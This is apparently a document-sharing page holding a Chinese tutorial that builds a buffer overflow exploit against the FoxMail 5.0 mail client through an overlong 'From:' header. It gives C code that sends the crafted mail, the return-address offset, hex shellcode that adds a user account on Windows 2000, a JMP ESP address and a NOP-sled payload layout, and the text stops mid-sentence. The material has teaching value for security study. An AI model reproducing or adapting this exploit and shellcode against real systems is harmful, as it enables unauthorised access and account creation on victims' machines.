欢迎来到天天文库
浏览记录
ID:15401813
大小:303.50 KB
页数:7页
时间:2018-08-03
《foxmail的缓冲区溢出漏洞攻击示例》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、FoxMail的漏洞漏洞分析从上图可以看出,有问题的的版本是FoxMail5.0。漏洞公告还会给出大概的问题分析。上图就说到了,有问题的东东是punylib.dll。安装了FoxMail后,我们可以在安装目录的3rdParty子目录下发现它。如下图。从漏洞公告和分析中,我们可以知道,是FoxMail在处理From:字段时允许的长度(0x200)超过了缓冲区分配的长度,从而导致了缓冲区溢出。但如何写该缓冲区溢出漏洞的利用程序呢?1.有问题程序返回点的精确位置――我们可以把它覆盖成任意地址。2.ShellCode――一个提供给我们想要的功能的代码。3
2、.JMPESP的地址――把返回点覆盖JMPESP的地址,这样可跳入ShellCode。定位溢出点从漏洞公告和漏洞分析中我们可以知道,邮件的‘From:’字段太长就会覆盖到返回地址,那我们就写一个初步的溢出程序框架FoxMail1.c,来逐步定位返回点的位置。这个程序很简单,就是往邮箱发一封信,而且只有‘From:’字段。在程序的FoxMail1.c中,我们对‘From:’字段进行填充。我们先填充0x150个A试试。★memset(buffer,0x41,0x150);sprintf(temp,"From:%sr",buffer);send(
3、sock,temp,strlen(temp),0);★然后执行程序,发送成功!如下图所示。然后我们用FoxMail接收邮件,如下图。我们覆盖了0x150个A,可能不仅覆盖过了EIP的地方,而且还覆盖了其他一些程序要用的参量,如果在程序返回前,要对那些参量改写,但参量的地址被改成‘41414141’,是根本不能写的,所以就造成了写(write)类型错误!我们把‘From:’字段覆盖短一点,要覆盖到返回地址,但不要覆盖到那些参量地址。这里我们采用二分法:即先前0x150太长,就改成0x75,如果0x75太短,不能覆盖返回地址没有报错,那又改长一点,改
4、成0x115的长度,以此类推。当我们覆盖到0x104时,我们想要的结果出现了!如下图。★memset(buffer,0x41,0x104);sprintf(temp,"From:%sr",buffer);send(sock,temp,strlen(temp),0);★现在出现了Read错误!说明我们填充‘From:’字段时不能超过0x104的长度。解决了这个问题,我们继续想办法定位返回点的位置。——根据报错信息直接数出来。方法:。。。。结果:程序的返回点位置是‘From:’字段第256开始的四个字节。验证:memset(buffer,'A'
5、,0x104);buffer[256]='B';buffer[257]='B';buffer[258]='B';buffer[259]='B';设计ShellCode以下是中文Win2000SP2下添加名为‘w’用户的ShellCode。charShellCode[]="x8BxE5x55x8BxECx33xFFx57x57x57x57xC7x45xF1x6Ex65""x74x20xC7x45xF5x75x73x65x72xC7x45xF9x20x77x20x2E""x80x45
6、xFCx01xC6x45xFDx61xC6x45xFEx64x33xC0x88x45""xFFx8Dx45xF1x50xB8x4Ax9Bx01x78xFFxD0";通用的JMPESP地址中文版Win2000、XP、Win2003的JMPESP通用跳转地址:0x7ffa4512。三国归一现在,万事倶备(溢出攻击的三个条件都已具备),只欠整合了。根据所学知识,我们知道‘From:’字段作如下构造就可跳入我们的ShellCode。但是,这样和最开始我们覆盖0x150个‘A’测试时是类似的,ShellC
7、ode会把程序要写的参量覆盖了,那程序在返回之前,会产生那个write型错误!解决方法之一:把ShellCode放在前面!根本不覆盖参量。就是说,我们把ShellCode放在RET前的缓冲区中,而在RET后面放入很短的一个指令,指令的内容就是往前跳,跳到前面的ShellCode中。“在这样的格式下,返回时程序就会先执行JMP–0x80这个指令,往前跳到一堆空指令中,然后顺着空指令往下执行,最后进入到ShellCode中,就可执行我们的ShellCode了。”最后,我们按照这个格式,给漏洞以最后一击,写出最终的利用程序――Exploit!(请参见“
8、最终的FoxMail溢出利用程序”。我们先把邮箱清空,编译FoxMail.c并执行,再用FoxMail接收邮件。只要一接收,就会在本机上
此文档下载收益归作者所有